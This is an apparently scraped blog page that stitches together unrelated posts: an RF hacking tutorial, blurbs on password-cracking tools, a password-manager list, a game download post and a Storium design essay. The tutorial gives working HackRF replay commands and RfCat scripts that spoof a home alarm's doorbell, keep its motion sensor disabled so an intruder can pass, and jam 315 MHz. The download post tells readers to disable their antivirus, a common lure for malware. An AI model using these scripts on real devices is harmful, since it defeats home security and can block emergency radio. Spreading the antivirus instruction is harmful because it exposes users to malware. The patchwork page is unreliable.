Only Positive News about Nepal

4/14/20

Hacking Everything With RF And Software Defined Radio - Part 1

This will be a Mini Course on Attacking Devices with RF from a hackers perspective

I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning. The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar

Site: CCLabs.io

Items needed to Follow Along:

Purchase Target:

Home Alert System: https://goo.gl/W56Eau

I settled on hacking a home alert system for the first blog, which contained the following Items:

A doorBell
Motion Sensors with alarm alerts
Door sensors to alert when the door is opened
Home Hub Receiver

Purchase Tools Needed:

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR

Penetration Testing BrainStorming Session:

I brainstormed with a friend the following attack avenues for this device:

Ring the doorbell (Our Hello World)
Trigger the motion sensors
Remotely disable the motion sensors
Jam frequencies for Denial Of Service

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below.

Using HackRF for RF Replay attacks
Using Yardstick One for Replay attacks
Demodulating and decoding signals for use with RF attacks
Discovering and troubleshooting issues
Coding tools in python and RFCat
RF Jamming Attacks

Video Series PlayList Associated with this blog:

Initial Profiling of our Device:

What does our device do in normal operation?

Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.

How do they Connect?

All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them.

Determining the Frequency:

To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website.

Replay attacks with HackRF To Trigger / Disable Sensors:

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything.

Below is a photo of the HackRF One hardware used in the first attack and linked above.

Install HackRF Software:

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro:

brew install hackrf
Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals.

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format. The following 2 commands are listed below. The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain.

Simple Replay Commands:

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20

hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm. Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.

Receive: (Capture Traffic from HackRF):

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20

call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)

call hackrf_set_freq(315000000 Hz/315.000 MHz)

Stop with Ctrl-C

19.9 MiB / 1.005 sec = 19.8 MiB/second

20.2 MiB / 1.001 sec = 20.2 MiB/second

19.9 MiB / 1.004 sec = 19.9 MiB/second

20.2 MiB / 1.005 sec = 20.1 MiB/second

^CCaught signal 2

5.2 MiB / 0.257 sec = 20.4 MiB/second

Exiting...

Total time: 4.27196 s

hackrf_stop_rx() done

hackrf_close() done

hackrf_exit() done

fclose(fd) done

exit

Transmit: (Trigger alarm from HackRF)

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)

call hackrf_set_freq(315000000 Hz/315.000 MHz)

Stop with Ctrl-C

19.9 MiB / 1.000 sec = 19.9 MiB/second

19.9 MiB / 1.005 sec = 19.8 MiB/second

20.2 MiB / 1.005 sec = 20.1 MiB/second

20.2 MiB / 1.000 sec = 20.2 MiB/second

Input file end reached. Rewind to beginning.

20.2 MiB / 1.005 sec = 20.1 MiB/second

20.2 MiB / 1.001 sec = 20.2 MiB/second

19.9 MiB / 1.005 sec = 19.8 MiB/second

20.2 MiB / 1.000 sec = 20.2 MiB/second

^CCaught signal 2

12.8 MiB / 0.654 sec = 19.7 MiB/second

Exiting...

Total time: 12.68557 s

hackrf_stop_tx() done

hackrf_close() done

hackrf_exit() done

fclose(fd) done

exit

While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity. This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first.

Further Profiling our Devices Functionality:

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening.

GQRX Install:

You can grab GQRX from the following location for OSX, on linux whatever package manager your distro uses should be sufficient for installing GQRX:

http://gqrx.dk/download

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR:

Select OK and the interface will load up, I made the following changes.

I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets.
I then hit play and could view the 315 MHz frequency range.

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range. I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take.

I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this will disable the alarm from triggering during a limited time period.

Can we replay the Motion Sensor Turn off??

I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered. So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system. So we need another technique. I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.

Decoding Signal Patterns for Sending With The YardStick One:

Below is a picture of the yard Stick tool used in the following attacks

Documented Process:

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following:

Record the transmission with the SDR dongle and GQRX
Demodulate and Decode with Audacity into binary (1s & 0s)
Convert the Binary to Hex (0x)
Replay with YardStick in python and RFCat libraries

Troubleshooting Extra Steps:

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process:

Record your YardStick Replay with GQRX and adjust the frequency again based on output
Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly
Add some padding in form of \x00 to the end of your Hex to make it work.
Adjust the number of times you repeat your transmissions

Record Transmission with GQRX:

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity.

Install Audacity:

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/ You should also be able to use your distro's package management to install this tool if it is not found on the site.

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this:

We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns. Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's:

Decode to binary:

So the main issue here is how many 1's and how many 0's are in each peak or valley?? Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly. (Probably incorrect but hey it worked LOLs)

10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks.

Try converting it yourself, does it look like my representation above?

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL:

http://www.binaryhexconverter.com/binary-to-hex-converter

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick:

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b

0xb8

0x8b

0xb8

0x88

0x8b

0xbb

0x80

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver. We can easily do this with python. Even if you do not code it is very simple code to understand. In order to install RFCat you can do the following on OSX: (Linux procedures should be the same)

Install RFCat and Dependencies(libusb, pyusb):

git clone https://github.com/atlas0fd00m/rfcat.git

cd rfcat/

sudo python setup.py install

cd ../

git clone https://github.com/walac/pyusb.git

cd pyusb/

sudo python setup.py install

easy install pip

pip install libusb

Plug in your device and run the following to verify:

rfcat -r

Setting up your python Replay Attack:

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:

Hex Conversion for the python script:

\xb8\x8b\xb8\x88\x8b\xbb\x80

I provided a few notations under the code to help understanding but its mostly self explanatory:

#--------Ring the doorbell--------#:

from rflib import *

d = RfCat() #1

d.setFreq(315005000) #2

d.setMdmModulation(MOD_ASK_OOK) #3

d.setMdmDRate(4800) #4

print "Starting"

d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5

print 'Transmission Complete'

#--------End Code --------#

#1 Creating a RfCat instance

#2 Setting your Frequency to the capture range from your GQRX output

#3 Setting the modulation type to ASK Amplitude shift keying

#4 Setting your capture rate to that of your GQRX capture settings

#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt):

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell.

Destroy:ficti0n$ python Door.py

Starting

Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick.

Doorbell with Yardstick (TroubleShooting):

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device.

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together:

If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over:

If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI:

Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex. This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed. I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding.

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device. Below is the working code :)

Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues.

The following updated code will ring the doorbell using padding:

#--------Ring the doorbell--------#:

from rflib import *

d = RfCat()

d.setFreq(315005000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

print ("Starting Transmission")

d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)

print ("Transmission Complete")

#--------End Code --------#

Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert.

The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security. Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern..

Below is a screenshot of the "Motion has ended) transmission in audacity:

So this sequence was a bit different, there was an opening sequence followed by a repeating sequence. Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality. Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is.

The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length…

See what you can come up with, does it match what I have below?

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following:

Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b

0x88

0xa2

0x8a

0x28

0xa8

0x8a

0x28

0xa0

Hex Conversion for the python script:

\x88\xa2\x8a\x28\xa8\x8a\x28\xa0

Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing?

Repeating Pattern:

10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion: (Used the online tool, R2 didn't like this binary for some reason)

\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

Testing / Troubleshooting:

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work.

I then tried sending only the opening sequence and that didn't work either.

I combined the first part with a repeating 2nd part for 10 iterations

The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely

Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing)

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way:

d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

First add in your opening patterns HEX values
Pad that with 6 \x00 for spacing
Add the second patterns HEX values and add that with 6 \x00
Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)

SUCCESS

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#:

from rflib import *

d = RfCat()

d.setFreq(315005000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

while 1: #Added a loop to keep the sensor disabled

print ("Starting Transmission")

d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

print ("Transmission Complete")

#--------End Code --------#

Jamming RF With Python:

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection? The door alert does not have a disable signal sent back to the receiver, it always alerts when separated.

RF Jamming and the FCC:

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming.

From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

"We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "

Notes On the reality of Criminals:

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage. Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install. You may want devices which are hardwired in as a backup.

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack. A simple python script can kill a device in the 315 range and make it in-operable.

Jamming in Python:

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing:

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets.

I call the below program RF_EMP, not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range. Which is why you need to use a Faraday cage so as not to interfere with devices you do not own.

Below is a simple manually configurable version of this script.

#--------RF_Emp.py Simple Version --------#:

# For use within Faraday Enclosures only

from rflib import *

print "Start RF Jamming FTW"

d = RfCat()

d.setMdmModulation(MOD_ASK_OOK)

d.setFreq(315000000)

d.setMdmSyncMode(0)

d.setMdmDRate(4800)

d.setMdmChanSpc(24000)

d.setModeIDLE()

d.setPower(100)

d.makePktFLEN(0)

print "Starting JAM Session, Make sure your in your Faraday Enclosure..."

d.setModeTX() # start transmitting

raw_input("Unplug to stop jamming")

print 'done'

d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)

#--------End Code --------#

Notes on using Virtual Machines:

You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission.

Whats next:

This is it for the first blog.. Other topics will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion.

Ophcrack

" Ophcrack is an open source (GPL license) program that cracks Windows LM hashes using rainbow tables. The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. There is also a Live CD version which automates the retrieval, decryption, and cracking of passwords from a Windows system. Rainbow tables for LM hashes of alphanumeric passwords are provided for free by the developers. These tables can crack 99.9% of alphanumeric passwords of up to 14 characters in usually a few seconds, and at most a few minutes. Larger rainbow tables (for LM hashes of passwords with all printable characters, including symbols and space) are available for purchase from Objectif Securité. Starting with version 2.3, Ophcrack also cracks NT hashes. This is necessary if generation of the LM hash is disabled (this is default on Windows Vista), or if the password is longer than 14 characters (in which case the LM hash is not stored)." read more...

Website: http://ophcrack.sourceforge.net

CertCrunchy - Just A Silly Recon Tool That Uses Data From SSL Certificates To Find Potential Host Names

It just a silly python script that either retrieves SSL Certificate based data from online sources, currently https://crt.sh/, https://certdb.com/, https://sslmate.com/certspotter/, and https://censys.io or given an IP range it will attempt to extract host information from SSL Certificates. If you want to use Censys.io you need to register for an API key.

How to install

git clone https://github.com/joda32/CertCrunchy.git
cd CertCrunchy
sudo pip3 install -r requirements.txt

How to use it?
Very simply -d to get hostnames for a specific domain
-D to get hostnames for a list of domains (just stuff it in a line-delimited text file)
-I to retrieve and parse certificates from hosts in a netblock / IP range (e.g. 192.168.0.0/24)
-T the thread count makes stuff faster, but don't over do it
-o Output file name
-f Output format CSV or JSON, CSV is the default
for the rest, I'm still working on those :)

API keys and configs
All API keys are stored in the api_keys.py file below is a list of supported APIs requiring API keys.

Censys.oi https://censys.io
VirusTotal https://www.virustotal.com/en/documentation/public-api/

Download CertCrunchy

Read more

BEST PASSWORD MANAGERS FOR IOS

As I said, Apple's iOS is also prone to cyber attacks, so you can use some of the best password managers for iOS to secure your online accounts.

BEST PASSWORD MANAGERS FOR IOS

Here I have streamlined few of the best password managers for iOS including Keeper, OneSafe, Enpass, mSecure, LastPass, RoboForm, SplashID Safe and LoginBox Pro.

1. ONESAFE PASSWORD MANAGER (CROSS-PLATFORM)

OneSafe is one of the best Password Manager apps for iOS devices that lets you store not only your accounts' passwords but also sensitive documents, credit card details, photos, and more.

OneSafe password manager app for iOS encrypts your data behind a master password, with AES-256 encryption — the highest level available on mobile — and Touch ID. There is also an option for additional passwords for given folders.

OneSafe password manager for iOS also offers an in-app browser that supports autofill of logins, so that you don't need to enter your login details every time.

Besides this, OneSafe also provides advanced security for your accounts' passwords with features like auto-lock, intrusion detection, self-destruct mode, decoy safe and double protection.

Download OneSafe Password Manager: iOS | Mac | Android | Windows

2. SPLASHID SAFE PASSWORD MANAGER (CROSS-PLATFORM)

SplashID Safe is one of the oldest and best password management tools for iOS that allows users to securely store their login data and other sensitive information in an encrypted record.

All your information, including website logins, credit card and social security data, photos and file attachments, are protected with 256-bit encryption.

SplashID Safe Password Manager app for iOS also provides web autofill option, meaning you will not have to bother copy-pasting your passwords in login.

The free version of SplashID Safe app comes with basic record storage functionality, though you can opt for premium subscriptions that provide cross-device syncing among other premium features.

Download SplashID Safe Password Manager: Windows and Mac | iOS | Android

3. LOGIN BOX PRO PASSWORD MANAGER

LoginBox Pro is another great password manager app for iOS devices. The app provides a single tap login to any website you visit, making the password manager app as the safest and fastest way to sign in to password-protected internet sites.

LoginBox Password Manager app for iOS combines a password manager as well as a browser.

From the moment you download it, all your login actions, including entering information, tapping buttons, checking boxes, or answering security questions, automatically completes by the login box Password Manager app.

For security, the login box Password Manager app uses hardware-accelerated AES encryption and passcode to encrypt your data and save it on your device itself.

Download LoginBox Password Manager: iOS | Android

More information

SigPloit SS7 Tool

Cain And Abel

"Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort. It covers some security aspects/weakness present in protocol's standards, authentication methods and caching mechanisms; its main purpose is the simplified recovery of passwords and credentials from various sources, however it also ships some "non standard" utilities for Microsoft Windows users." read more...

Website: http://www.oxid.it/cain.html

More information

4/12/20

Download PUBG PC LITE For INDIA

PUBG PC LITE Free Dowb

===============================================

PUBG PC LITE INDIA :-

Part 1

Part 2

Part 3

Part 4

Part 5

=======================================

Please Install "7-zip and WINRAR" to extract the files.

💘 Download Winrar :-

🌹 (32bit PC)
🌹 (64bit PC)

💘 Visual C++ Redistributable 2012 :-

🌹 Download

If your PC has no net framework then, you can

download net framework from here :-

💘 net framework 4.6

🌹 Download

💘 IMPORTANT 💘:-

🌹 ALWAYS DISABLE YOUR ANTIVIRUS BEFORE EXTRACTING THE FILES.

----------------------------------------------

Thank You For Watching My Video.....

We Are Thank Full To You...

And Don't Forget To Subscribe To My Channel...

And Keep Visiting Our Channel, Keep Supporting Our Channel, And Keep Loving Our Channel ...

Thank You So Much................

----------------------------------------------------------------------

THANK YOU SOO MUCH FOR VISITING OUR SITE.

4/9/20

Storium Theory: Optional Challenges

Most of the time, when we put down a challenge, it's definite - a note that the story will be focusing on a particular point. But is it possible to use challenges differently? To lay down a challenge for something the players might want to focus on, but are not required to focus on?

I believe it is a tool for the toolbox...but one I would show great caution in using. I've only pulled out an optional challenge once or twice in my own games, and I am wary of using them often, if at all, in my own narration generally. Storium's rules are set up more for completion of challenges and requiring of challenges, and I think there's a good reason for that.

In setup, an optional challenge wouldn't be so different from a regular challenge - you still want to establish the starting situation, the facts of the challenge, and the possible places the challenge can end up once it is complete. There's not much different in the overall technique of setting it up.

But should you decide to use this tool, I think there are some very important things you will need to be sure you address.

First: How will you know if players are or are not going to play on the challenge? You will need a good way of knowing if players have not played on a challenge yet because they haven't gotten to it yet, or because they do not intend to play on it at all. An optional challenge, being optional, could be ignored completely by players for reasons that have nothing to do with slow play or inactivity. It is important to have a way of determining that the players are not going to play on the challenge, and that it is time to move the scene on.

I suggest that you consider one of the following ideas:

Set a deadline based on the other challenges - if the optional challenge is not completed by the time the scene's other challenges are, you will consider it incomplete and move the scene on.
Set a deadline based on actual time - if the optional challenge is not completed within X days after the rest of the scene's challenges are (or just within X days if there are no other challenges) you will consider it incomplete and move the scene on.
Require an affirmative statement from a player that they intend to play on the optional challenge by a specific date. If you have no such statement by that date, you will remove the optional challenge.

These methods are probably not the only ones...or even likely the best...but they all allow you to know when you can regard the challenge as incomplete and move forward. Whatever choice you make, be sure you tell your players so they know what the requirements are.

Second: What happens when the optional challenge is incomplete?

This is a pretty important question, and one that, I think, gets at the reason I don't use optional challenges much. If something's critical enough to the story that you want to set up a challenge for it, it seems like it is something the group should have to interact with - even if their interaction is playing Weakness cards and having their characters utterly ignore it and let it go wrong. In other words, the characters might not care about something, but if it is important enough to the story to rate a challenge, the players should have to do something about it...even if that something is having their characters do nothing. The story of the challenge, once laid out, should probably progress.

If it goes well, then, it ends Strong. If it goes poorly, it ends Weak. If it is less clear, it ends Uncertain. But that's all determined by the cards.

So...what do you do with a challenge that seemed interesting enough to put out there as an option, but that seems like something the character's don't have to address?

My best bet is that you do nothing. An optional challenge is something that is interesting, but not critical. The players don't gain or lose anything by not going after it. It's only if they actually engage it that it matters to the story in any way.

Thus, if the players don't seem interested in it and leave it alone, it just drops off for the moment. Nothing bad happens, nothing good happens. It just fades away into the background again.

That's not to say you can't bring it back again later, or bring it back again later as a normal, required challenge. It's just that for the moment, it wasn't critical enough to be made required, so nothing's reaching any kind of story-altering point with it. It just fades away for now.

If on the other hand players play some of the cards on the challenge, but don't finish it, I'd probably go by my usual rule for ending a challenge early when it becomes absolutely necessary: Most likely, end it by whatever the current result would be (i.e. if it is going Strong, it ends Strong, if it is going Weak, it ends Weak, if it is going Uncertain, it ends Uncertain) - this method makes the players' card plays so far clearly matter, so that's my preference. If you use a different rule for those cases in your own games, be consistent.

But that brings me to another consideration...

Third: How many points do you put on the thing, anyway?

I'm going to just say outright that I think the answer is one, possibly two at maximum. An optional challenge is not the focus of the scene - it is by definition something that can be entirely ignored. Thus, it isn't anywhere near as important as other challenges, and shouldn't get a lot of focus in the scene at hand.

Furthermore, if you put more points on an optional challenge, it makes it harder to judge when players no longer care about it - once it has become active, how do you judge that it isn't going to be active any further? You can always rule that an optional challenge becomes required if at least one player plays a card on it, of course, but that could get messy in terms of game morale and community if players disagree about whether they want to play on it.

So...I suggest making your life as easy as possible by using only one or two points, tops, and making clear to your players that whatever "deadline" you set for the optional challenge is a completion deadline, not a play deadline - the challenge needs to be complete by then or you will move things on. That will prevent an optional challenge from causing delays.

Finally, though: Consider whether the challenge should even be optional in the first place.

Most of the things I've considered as, well, optionally "optional" challenges were ideas that I ended up deciding would either fit perfectly well as required challenges right then, or would fit perfectly well as required challenges later. I've rarely come across something that I considered important to note in challenge form, but not critical enough to be something the players had to address.

If you're considering an optional challenge, think about it a bit more for a while...is it really something that should be optional, or is it just something that hasn't come to a head yet? Maybe it's something you can get some actual drama out of later, and make it a normal challenge in a later scene. Or maybe it's something you can hint at with a minor required challenge now - perhaps to see if someone notices something - and bring in more fully down the line.

Or perhaps it is something that actually is pretty vitally important right now, in which case it should be a required challenge...right now.

So, when can an optional challenge be helpful?

I could see them being useful if you want to allow the group to choose a direction, but neither direction is necessarily better or worse for the story (if one direction is better and the other is worse, you'd instead do a regular challenge and set the first up as the Strong outcome and the second as the Weak). Then, you could set up two different one-point challenges, and tell the players they can only do one of them - that sets them off on that path and determines how it starts out for them.

It isn't my chosen way to find where the players want to go in the story, but I could see it working.

Another method might be something that is solidly an opportunity for the players - again, if they don't do anything, it doesn't go wrong or anything like that, but perhaps it is something they can use to "shortcut" the plot in some way. You'd have to be careful with this one - it's easy to run into the "why don't you just do this as a regular challenge" internal question - but there are ways I could see it working. If you do this, then, the Strong result is very good for the characters, and the Weak result is perhaps less so, but still generally quite good.

The problem I run into myself with that is that if you use that method, it becomes hard to argue that things aren't worse if the player decide not to play the challenge...in which case, again, I feel like it probably shouldn't be optional because it impacts the story in a notable way. And that's exactly where I've ended up when I've reflected on the few times I've used optional challenges...I end up feeling like what I did was render a part of the story optional when it was actually going to have a definite impact.

And that's the point I keep coming back to myself in considering this - I just generally can't justify putting a challenge down and treating it as "optional." When I put a challenge down, it means that a notable event has started in the story, and the players, through their card plays, need to see where it goes. It needs to get to some conclusion or another, so that we know where the story goes after it. When I find myself thinking of perhaps telling my players a challenge is optional, I start instead thinking of whether it should be there yet at all.

